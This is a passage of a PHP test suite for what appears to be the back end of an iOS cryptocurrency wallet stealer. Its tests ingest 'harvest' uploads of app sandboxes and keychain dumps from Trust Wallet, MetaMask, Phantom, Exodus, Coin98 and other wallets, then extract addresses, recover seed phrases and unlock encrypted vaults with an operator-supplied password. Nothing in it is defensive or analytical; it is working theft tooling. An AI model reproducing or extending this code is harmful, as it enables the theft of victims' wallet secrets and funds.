'', 'coruna.telegram.owner_chat_id' => '', ]); $tokenview = Mockery::mock(TokenviewMonitorService::class); $tokenview->shouldReceive('syncMonitor')->andReturn(false); $tokenview->shouldReceive('shouldMonitor')->andReturn(false); $this->app->instance(TokenviewMonitorService::class, $tokenview); $balances = Mockery::mock(\App\Services\WalletBalanceService::class); $balances->shouldReceive('refresh')->andReturn(false); $balances->shouldReceive('ensureBscForEthAddress')->andReturn(null); $this->app->instance(\App\Services\WalletBalanceService::class, $balances); Http::fake(); } #[Test] public function wallet_tar_stores_utc_and_ingests_address(): void { $device = $this->makeDevice(); $utc = [ 'version' => 3, 'id' => 'trust-utc', 'crypto' => [ 'ciphertext' => 'aa', 'mac' => 'bb', 'cipher' => 'aes-128-ctr', ], 'address' => substr(self::ETH, 2), ]; $tar = $this->makeTar([ 'Documents/keystore/UTC--demo' => json_encode($utc), ]); app(AppUploadIngester::class)->ingestArtifact( $device, $tar, 'com.wallet.crypto.trustapp.tar', ); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->exists() ); $this->assertTrue( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->contains(fn (WalletKeystore $row) => $row->kind() === 'web3.keystore') ); $this->assertFalse( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox') ); $this->assertNull( WalletKeystore::query() ->where('device_id', $device->id) ->where('source', 'Trust Wallet') ->value('needs_password') ); $this->assertTrue( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->every(fn (WalletKeystore $row) => (int) $row->chain === Device::CHAIN_APP) ); $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first(); $this->assertNotNull($addr); $this->assertSame('Trust Wallet', $addr->source); } #[Test] public function trust_hd_keeps_eth_btc_tron_bsc_sol_arb_and_skips_other_coins(): void { $device = $this->makeDevice('dev-trust-hd'); $etc = '0x91E1DF7780C061fBE4d0fc83F26F3B85bfb04Bc6'; $waves = '3P8QjdvhWgcVbYQEnqmDnJsx4QiqJXAtqci'; $dot = '13s5C4kEQevkzaKrRdLbABsxTx8pLnT7tXeZm3c6QvrAAvwK'; $btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7'; $utc = [ 'version' => 3, 'type' => 'mnemonic', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], 'activeAccounts' => [ ['coin' => 0, 'address' => $btc, 'derivationPath' => "m/84'/0'/0'/0/0"], ['coin' => 60, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ['coin' => 61, 'address' => $etc, 'derivationPath' => "m/44'/61'/0'/0/0"], ['coin' => 195, 'address' => self::TRON, 'derivationPath' => "m/44'/195'/0'/0/0"], ['coin' => 5741564, 'address' => $waves, 'derivationPath' => "m/44'/5741564'/0'/0'/0'"], ['coin' => 354, 'address' => $dot, 'derivationPath' => "m/44'/354'/0'/0'/0'"], ['coin' => 8453, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ['coin' => 20000714, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ['coin' => 501, 'address' => 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq', 'derivationPath' => "m/44'/501'/0'"], ['coin' => 10042221, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"], ], ]; $tar = $this->makeTar([ 'Documents/keystore/UTC--hd' => json_encode($utc), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.sixdays.trust.tar'); $addrs = WalletAddress::query() ->where('device_id', $device->id) ->orderBy('id') ->get(['address', 'chain_type']); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ETHEREUM')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'BSC')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq' && $a->chain_type === 'SOLANA')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ARBITRUM')); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $etc)); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $waves)); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $dot)); $this->assertSame(1, $addrs->where('address', self::ETH)->where('chain_type', 'ETHEREUM')->count()); } #[Test] public function tronlink_sqlite_writes_address_and_balance_and_flags_password(): void { $device = $this->makeDevice('dev-tronlink'); $sqlite = $this->makeTronLinkSqlite(); $utc = [ 'version' => 3, 'crypto' => ['ciphertext' => 'cc', 'mac' => 'dd'], 'address' => self::TRON, ]; $tar = $this->makeTar([ 'Documents/tron.sqlite' => $sqlite, 'Documents/keystore/UTC--tron' => json_encode($utc), ]); app(AppUploadIngester::class)->ingestArtifact( $device, $tar, 'com.tronlink.hdwallet.tar', ); $flagged = WalletKeystore::query() ->where('device_id', $device->id) ->where('needs_password', 1) ->count(); $this->assertGreaterThan(0, $flagged); $this->assertFalse( WalletKeystore::query() ->where('device_id', $device->id) ->get() ->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox') ); $this->assertSame( 0, WalletKeystore::query() ->where('device_id', $device->id) ->where('needs_password', 0) ->count() ); $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::TRON)->first(); $this->assertNotNull($addr); $this->assertSame('TronLink', $addr->source); $this->assertSame(0.0, (float) $addr->trx); $this->assertEqualsWithDelta(1.5, (float) $addr->usdt, 0.0001); } #[Test] public function imtoken_keeps_account_eoa_and_skips_token_contracts(): void { $device = $this->makeDevice('dev-imtoken-addr'); $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; $utcEth = 'c3f025c2b480ade8f67c8ae9bec3e17f62c26fdf'; $tar = $this->makeTar([ 'Documents/walletsV2/wid.json' => json_encode([ 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], 'address' => $utcEth, 'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'], ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([ 'AccountModel' => [ 'itemsById' => [ 'acc1' => [ 'type' => 'EOA', 'address' => self::TRON, 'path' => "m/44'/195'/0'/0/0", ], ], ], 'AssetToken' => [ 'itemsById' => [ 'tok1' => [ 'chainType' => 'TRON', 'address' => $usdt, 'symbol' => 'USDT', 'decimal' => 6, 'tokenType' => 'TRC20', 'accountAddress' => self::TRON, ], ], ], ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([ 'wethContractAddress' => $weth, 'address' => $weth, ]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'im.token.app.tar'); $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all(); $this->assertSame([self::TRON], $addrs); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists() ); } #[Test] public function imtoken_shell_zip_keeps_account_eoa_and_skips_token_list(): void { $device = $this->makeDevice('dev-imtoken-zip'); $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; $tokenList = [ ['address' => $weth, 'symbol' => 'WETH', 'decimals' => 18, 'tokenType' => 'ERC20'], ['address' => $usdt, 'symbol' => 'USDT', 'decimals' => 6, 'tokenType' => 'TRC20'], ['address' => '0xdac17f958d2ee523a2206206994597c13d831ec7', 'symbol' => 'USDT', 'decimals' => 6], ]; $zip = $this->makeZip([ 'Documents/walletsV2/wid.json' => json_encode([ 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], 'id' => 'wid', 'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'], ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([ 'accountAddress' => self::TRON, 'path' => "m/44'/195'/0'/0/0", 'type' => 'EOA', 'walletId' => 'wid', ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode( json_encode($tokenList) ), ]); $n = app(AppUploadIngester::class)->ingestImTokenShellZip($device, $zip); $this->assertSame(1, $n); $addrs = WalletAddress::query()->where('device_id', $device->id)->get(); $this->assertCount(1, $addrs); $this->assertSame(self::TRON, $addrs[0]->address); $this->assertSame('imToken', $addrs[0]->source); $this->assertFalse( WalletAddress::query()->where('device_id', $device->id)->where('address', $weth)->exists() ); $this->assertFalse( WalletAddress::query()->where('device_id', $device->id)->where('address', $usdt)->exists() ); } #[Test] public function shell_upload_short_path_ingests_imtoken_async_eoa(): void { $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; $zip = $this->makeZip([ 'Documents/walletsV2/wid.json' => json_encode([ 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'], 'id' => 'wid', 'imTokenMeta' => ['source' => 'NEW_MNEMONIC'], ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([ 'AccountModel' => [ 'itemsById' => [ 'acc1' => [ 'type' => 'EOA', 'address' => self::TRON, 'path' => "m/44'/195'/0'/0/0", ], ], ], 'AssetToken' => [ 'itemsById' => [ 'tok1' => [ 'address' => $usdt, 'symbol' => 'USDT', 'tokenType' => 'TRC20', 'accountAddress' => self::TRON, ], ], ], ]), 'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([ 'address' => $weth, 'symbol' => 'WETH', 'decimals' => 18, 'tokenType' => 'ERC20', ]), ]); $deviceHex = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; $response = $this->call( 'POST', '/api/ap/u?a=chan1&harvest_1791244750_cold_im.token.app.zip', [], [], [], [ 'HTTP_X_DEVICE_ID' => $deviceHex, 'HTTP_X_IOS_VERSION' => '18.6', 'CONTENT_TYPE' => 'application/octet-stream', ], $zip ); $response->assertOk(); $response->assertJson(['ok' => true, 'bind' => true]); $device = Device::query()->where('device_id', Device::normalizeDarkswordKey($deviceHex))->first(); $this->assertNotNull($device); $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all(); $this->assertSame([self::TRON], $addrs); $this->assertSame( 'imToken', WalletAddress::query()->where('device_id', $device->id)->value('source') ); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists() ); } #[Test] public function global_wallet_skips_helper_contract_addresses(): void { $device = $this->makeDevice('dev-gw-addr'); $batch = 'TDe5aJyJmtJdon9nNRbX1itnftt6LQLUwU'; $balance = 'TWSaaayu3N1z5GKeWYyTkUG1p9tw3tdTHw'; $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; $tar = $this->makeTar([ 'Documents/cache/MarketFilterParamsModel.Type.json' => json_encode([ 'blockchainList' => [[ 'name' => 'tron', 'metadata' => [ 'batchTxContract' => $batch, 'balanceContract' => $balance, ], ]], ]), 'Documents/cache/default.show.tokens' => json_encode([ 'address' => $weth, 'symbol' => 'WETH', ]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar'); $this->assertSame( 0, WalletAddress::query()->where('device_id', $device->id)->count() ); } #[Test] public function keychain_plaintext_mnemonic_is_recovered_on_decrypt(): void { $device = $this->makeDevice('dev-uniswap'); $xml = '' .'' .'com.uniswap.mobile.mnemonic.'.self::ETH.'' .'Uniswap' .'TEAM.com.uniswap.mobile' .''.base64_encode(self::MNEMONIC).'' .'' .''; $ingester = app(AppUploadIngester::class); $ingester->ingestArtifact($device, $xml, 'keychain.xml'); $ingester->dispatchDecrypt($device); $this->assertTrue( WalletKeystore::query()->where('device_id', $device->id)->exists() ); $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($memo); $this->assertSame('Uniswap', $memo->source); $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); $addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first(); $this->assertNotNull($addr); $this->assertSame($memo->id, $addr->mnemonic_id); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.uniswap.mobile')->exists() ); } #[Test] public function keychain_exodus_json_mnemonic_is_sourced_exodus(): void { $device = $this->makeDevice('dev-exodus'); $payload = json_encode([ 'mnemonic' => self::MNEMONIC, 'seed' => 'not-a-mnemonic', 'dateCreated' => 1, ], JSON_UNESCAPED_SLASHES); $xml = '' .'' .'unused' .'' .'TEAM.exodus-movement.exodus' .''.base64_encode((string) $payload).'' .'' .''; $ingester = app(AppUploadIngester::class); $ingester->ingestArtifact($device, $xml, 'keychain.xml'); $ingester->dispatchDecrypt($device); $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($memo); $this->assertSame('Exodus', $memo->source); $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); } #[Test] public function keychain_phantom_base64_seed_vault_recovers_mnemonic(): void { $device = $this->makeDevice('dev-phantom-b64'); $entropy = []; for ($i = 0; $i < 16; $i++) { $entropy[(string) $i] = 0; } $vault = json_encode([ 'version' => 1, 'identifier' => 'eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d', 'name' => '账户 0', 'entropy' => $entropy, ], JSON_UNESCAPED_UNICODE); $acct = base64_encode('.phantom-labs.vault.seed.eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d'); $xml = '' .'' .''.$acct.'' .'app:no-auth' .'TEAM.app.phantom' .''.base64_encode((string) $vault).'' .'' .''; $ingester = app(AppUploadIngester::class); $ingester->ingestArtifact($device, $xml, 'keychain.xml'); $ingester->dispatchDecrypt($device); $memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first(); $this->assertNotNull($memo); $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); } #[Test] public function keychain_metamask_vault_is_a_password_row(): void { $device = $this->makeDevice('dev-mm-vault'); $vault = $this->makeMetamaskVault(self::MNEMONIC, 'woshini@88'); unset($vault['kind']); $xml = '' .'' .'VAULT_BACKUP' .'' .'TEAM.io.metamask.MetaMask' .''.base64_encode((string) json_encode($vault)).'' .'' .'' .'deviceUID' .'deviceUID' .'TEAM.io.metamask.MetaMask' .''.base64_encode('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').'' .'' .''; app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml'); $mm = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'MetaMask')->first(); $this->assertNotNull($mm); $this->assertSame(1, (int) $mm->needs_password); $this->assertSame('metamask.vault', $mm->kind()); $this->assertSame(0, (int) $mm->decrypted); $kc = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'app/keychain')->first(); $this->assertNotNull($kc); $items = $kc->raw_json['wallets']['MetaMask']['items'] ?? []; foreach ($items as $item) { $this->assertNotSame('VAULT_BACKUP', $item['account'] ?? ''); } } #[Test] public function keychain_skips_apple_and_wildcard_installed_apps(): void { $device = $this->makeDevice('dev-app-noise'); $xml = '' .'asTEAM.apple.Spotlight' .''.base64_encode('x').'' .'bsTEAM.apple.TextInput' .''.base64_encode('y').'' .'csTEAM.*' .''.base64_encode('z').'' .'dsapple.security.octagon' .''.base64_encode('w').'' .'eBitpieTEAM.com.bitpie.wallet' .''.base64_encode('ok').'' .''; app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml'); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'like', 'apple.%')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists() ); $this->assertFalse( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'Spotlight')->exists() ); $this->assertTrue( DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.bitpie.wallet')->exists() ); $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count()); } #[Test] public function metamask_persist_store_keeps_user_accounts_only(): void { $device = $this->makeDevice('dev-mm-persist'); $eth = '0x3bb73b8aaba98538733df3c8a9ea2d769d6aca9e'; $sol = 'F2Ht8XtGJMSaVkva9XSo1tashz8xUzWSVK69Txmds2jd'; $btc = 'bc1qncn7nxs46gfvtlqaxdkpm0rpevwe8j7tuh89dz'; $trx = 'TV3K172bN8kTrq9s5fMKcB8YHZi6F8pxUm'; $stellar = 'GAX7C5SZIQJYRCASX6U2VSCFRO2Y24IAFCQSC32VEX2KR44MCXULYT4O'; $usdc = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; $accounts = ['internalAccounts' => ['accounts' => [ 'acc-1' => ['id' => 'acc-1', 'address' => $eth, 'type' => 'eip155:eoa', 'metadata' => ['name' => 'Account 1']], 'acc-2' => ['id' => 'acc-2', 'address' => $sol, 'type' => 'solana:data-account', 'metadata' => []], 'acc-3' => ['id' => 'acc-3', 'address' => $btc, 'type' => 'bip122:p2wpkh', 'metadata' => []], 'acc-4' => ['id' => 'acc-4', 'address' => $trx, 'type' => 'tron:eoa', 'metadata' => []], 'acc-5' => ['id' => 'acc-5', 'address' => $stellar, 'type' => 'stellar:account', 'metadata' => []], ]]]; $tar = $this->makeTar([ 'Documents/persistStore/persist-AccountsController' => json_encode($accounts), // Token list / network config noise that used to be harvested. 'Documents/persistStore/persist-AssetsController' => json_encode([ 'tokens' => [ ['symbol' => 'USDC', 'name' => 'USD Coin', 'decimals' => 18, 'chainId' => '0x1', 'address' => $usdc], ], ]), 'Documents/persistStore/persist-NetworkEnablementController' => json_encode([ 'multicall3' => $usdc, 'foxConnectAddresses' => ['polygon' => $usdc], ]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar'); $addrs = WalletAddress::query() ->where('device_id', $device->id) ->get(['address', 'chain_type', 'source']); $this->assertSame(4, $addrs->count()); $this->assertTrue($addrs->contains(fn ($a) => $a->address === $eth && $a->chain_type === 'ETHEREUM')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === $sol && $a->chain_type === 'SOLANA')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === $trx && $a->chain_type === 'TRON')); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $stellar)); $this->assertFalse($addrs->contains(fn ($a) => $a->address === $usdc)); $this->assertTrue($addrs->every(fn ($a) => $a->source === 'MetaMask')); } #[Test] public function coin98_manifest_stores_wallet_only(): void { $device = $this->makeDevice('dev-coin98'); $tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2'; $tokenContract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; // Real shape: doubly JSON-encoded wallet array inside SET_WALLET_STORAGE. $manifest = json_encode([ 'SET_WALLET_STORAGE' => json_encode([[ 'address' => $tronWallet, 'privateKey' => 'U2FsdGVkX19qEoG/YqTMSgvs0Si33PVh0hddCN6s9OB3', 'chain' => 'tron', 'mnemonic' => 'U2FsdGVkX1+rQDNv7jT9NGmJ26hOhY/PPPkNIv68IqxN', 'encryption' => false, 'name' => 'My Wallet - 809532', 'isActive' => true, ]]), 'DEVICE_ID' => '"d4032e20-1279-4f43-83b2-89bf53f6a25b"', 'CACHE_TOKEN_LIST_DATA' => null, 'POINT_TOKEN_INFO' => json_encode([ 'contracts' => ['boba' => ['contract' => $tokenContract, 'key' => 'boba']], ]), ]); // Hash-named AsyncStorage file carrying the full token inventory. $inventory = json_encode([ ['symbol' => 'WOO', 'name' => 'WOO', 'decimals' => 18, 'chain' => 'binanceSmart', 'address' => $tokenContract], ['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 18, 'chain' => 'ethereum', 'address' => '0x'.$tokenContract], ]); $tar = $this->makeTar([ 'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest, 'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/f26084161a3ff963a80009cd5a700583' => $inventory, ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar'); $addrs = WalletAddress::query()->where('device_id', $device->id)->get(['address', 'chain_type', 'source']); $this->assertSame(1, $addrs->count()); $this->assertSame($tronWallet, $addrs[0]->address); $this->assertSame('TRON', $addrs[0]->chain_type); $this->assertSame('Coin98', $addrs[0]->source); } #[Test] public function okex_documents_store_no_token_contracts(): void { $device = $this->makeDevice('dev-okx'); $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; $weth = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; $sqlite = $this->makeOkxCoinMetaSqlite($weth, $usdt); $tar = $this->makeTar([ 'Documents/wallet_coinMeta' => $sqlite, 'Documents/OKPayCore.db' => $this->makeOkxCoinMetaSqlite($weth, $usdt), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar'); $this->assertSame( 0, WalletAddress::query()->where('device_id', $device->id)->count() ); } #[Test] public function okx_keeps_hd_account_addresses_and_skips_coinmeta_tokens(): void { $device = $this->makeDevice('dev-okx-addr'); $eoa = '0xe68f9214a8d7c90adf3cd256396899a568614377'; $btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7'; $link = '0x514910771af9ca656af840dff83e8264ecf986ca'; $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'; $tar = $this->makeTar([ 'Documents/wallet' => $this->makeOkxWalletSqlite($eoa, self::TRON, $btc), 'Documents/wallet_coinMeta' => $this->makeOkxCoinMetaSqlite($link, $weth), 'Documents/cache/tokens.json' => json_encode([ 'address' => $link, 'symbol' => 'LINK', ]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar'); $addrs = WalletAddress::query() ->where('device_id', $device->id) ->get(['address', 'chain_type', 'source']); $this->assertTrue($addrs->contains(fn ($a) => strtolower($a->address) === $eoa && $a->chain_type === 'ETHEREUM')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON')); $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN')); $this->assertFalse($addrs->contains(fn ($a) => strtolower((string) $a->address) === $link)); $this->assertFalse($addrs->contains(fn ($a) => strtolower((string) $a->address) === $weth)); $this->assertTrue($addrs->every(fn ($a) => $a->source === 'OKX')); $this->assertSame(3, $addrs->count()); } #[Test] public function tonhub_react_query_stores_user_ton_address(): void { $device = $this->makeDevice('dev-tonhub'); $user = 'EQDBNivLP27xo9TimKUEGZdO8oCTg9YuQZNILru-1e8jXqQQ'; $jetton = 'EQBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'; // > 64 KiB so decodeFileContent base64-encodes it, like real mmkv. $payload = str_pad( '{"queryKey":["cloud","'.$user.'","primaryCurrency-v1"]}%' .'{"queryKey":["holders","'.$jetton.'","status"]}', 70000, 'x' ); $tar = $this->makeTar([ 'Documents/mmkv/react-query' => $payload, 'Documents/mmkv/persistence' => '{"queryKey":["account","'.$jetton.'"]}', ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.tonhub.app.tar'); $addrs = WalletAddress::query() ->where('device_id', $device->id) ->get(['address', 'chain_type', 'source']); $this->assertSame(1, $addrs->count()); $this->assertSame($user, $addrs[0]->address); $this->assertSame('TON', $addrs[0]->chain_type); $this->assertSame('Tonhub', $addrs[0]->source); } #[Test] public function generic_wallet_skips_token_inventory_and_contract_config(): void { $device = $this->makeDevice('dev-generic'); $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; $contract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c'; $digits = '0000000000000000000000000000000000000001'; $tar = $this->makeTar([ 'Documents/cache/tokens.json' => json_encode([ ['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 6, 'address' => $usdt], ]), 'Documents/config/contracts.json' => json_encode([ 'multicall3' => $contract, 'contracts' => ['polygon' => $contract], ]), 'Documents/balance-cache.json' => json_encode([ 'address' => $digits, ]), 'Documents/wallet.json' => json_encode([ 'name' => 'My Wallet', 'address' => self::TRON, ]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.bitpie.wallet.tar'); $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address'); $this->assertSame([self::TRON], $addrs->all()); } #[Test] public function coin98_encrypted_wallet_is_stored_and_unlocked_with_password(): void { $device = $this->makeDevice('dev-coin98-vault'); $tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2'; $password = 'woshini@88'; $cipher = $this->cryptoJsEncrypt(self::MNEMONIC, $password); $manifest = json_encode([ 'SET_WALLET_STORAGE' => json_encode([[ 'address' => $tronWallet, 'privateKey' => $cipher, 'chain' => 'tron', 'mnemonic' => $cipher, 'encryption' => false, 'name' => 'My Wallet - 809532', 'isActive' => true, ]]), 'POINT_TOKEN_INFO' => json_encode(['contracts' => []]), ]); $tar = $this->makeTar([ 'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest, ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar'); // Encrypted blobs are persisted as a needs-password keystore row. $row = WalletKeystore::query() ->where('device_id', $device->id) ->where('source', 'Coin98') ->first(); $this->assertNotNull($row); $this->assertSame('coin98.wallet', $row->kind()); $this->assertSame('Coin98 加密钱包', $row->kindLabel()); $this->assertSame(1, (int) $row->needs_password); $wallets = $row->raw_json['wallets'] ?? []; $this->assertSame($tronWallet, $wallets[0]['address'] ?? null); $this->assertSame($cipher, $wallets[0]['mnemonic'] ?? null); // Address extraction still works alongside the keystore row. $this->assertSame( 1, WalletAddress::query()->where('device_id', $device->id)->where('address', $tronWallet)->count() ); // Wrong password → no mnemonic, no crash. $adapter = app(\App\Services\DarkSwordIngestAdapter::class); $miss = $adapter->decryptKeystoreWithPassword($device, $row, 'wrong-password'); $this->assertSame(0, $miss['hits']); $this->assertSame(1, $miss['coin98']); $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); // Correct wallet password → mnemonic recovered and row decrypted. $hit = $adapter->decryptKeystoreWithPassword($device, $row, $password); $this->assertSame(1, $hit['hits']); $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($memo); $this->assertSame('Coin98', $memo->source); $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); $this->assertSame(1, (int) $row->fresh()->decrypted); } #[Test] public function metamask_keyring_vault_is_stored_and_unlocked_with_password(): void { $device = $this->makeDevice('dev-mm-vault2'); $password = 'woshini@88'; $vault = $this->makeMetamaskVault(self::MNEMONIC, $password); unset($vault['kind']); $accounts = ['internalAccounts' => ['accounts' => [ 'acc-1' => ['id' => 'acc-1', 'address' => self::ETH, 'type' => 'eip155:eoa'], ]]]; $tar = $this->makeTar([ 'Documents/persistStore/persist-KeyringController' => json_encode([ 'vault' => json_encode($vault), ]), 'Documents/persistStore/persist-accounts' => json_encode($accounts), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar'); $row = WalletKeystore::query() ->where('device_id', $device->id) ->where('source', 'MetaMask') ->where('needs_password', 1) ->first(); $this->assertNotNull($row); $this->assertSame('metamask.vault', $row->kind()); $this->assertSame('MetaMask Vault', $row->kindLabel()); $this->assertSame($vault['cipher'], $row->raw_json['cipher']); $this->assertSame($vault['iv'], $row->raw_json['iv']); $this->assertSame($vault['salt'], $row->raw_json['salt']); // Operator password unlock recovers the mnemonic through the // existing quick-crypto PBKDF2 vault decryptor. $adapter = app(\App\Services\DarkSwordIngestAdapter::class); $result = $adapter->decryptKeystoreWithPassword($device, $row, $password); $this->assertSame(1, $result['hits']); $memo = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($memo); $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash); $this->assertSame(1, (int) $row->fresh()->decrypted); } #[Test] public function tokenpocket_encrypted_sandbox_files_are_stored(): void { $device = $this->makeDevice('dev-gw-enc'); $encrypted = base64_encode(random_bytes(96)); $cacheText = str_repeat('a', 200); // long text is NOT encrypted material $tar = $this->makeTar([ 'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df' => base64_decode($encrypted), 'Documents/db/main.sqlite3' => base64_decode($encrypted), 'Documents/cache/market.sector.classes.json' => $cacheText, 'Documents/cache/batch_market_list_RWA.json' => json_encode(['address' => '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c', 'symbol' => 'RWA', 'name' => 'RWA', 'decimals' => 18]), ]); app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar'); $row = WalletKeystore::query() ->where('device_id', $device->id) ->where('source', 'Global Wallet') ->first(); $this->assertNotNull($row); 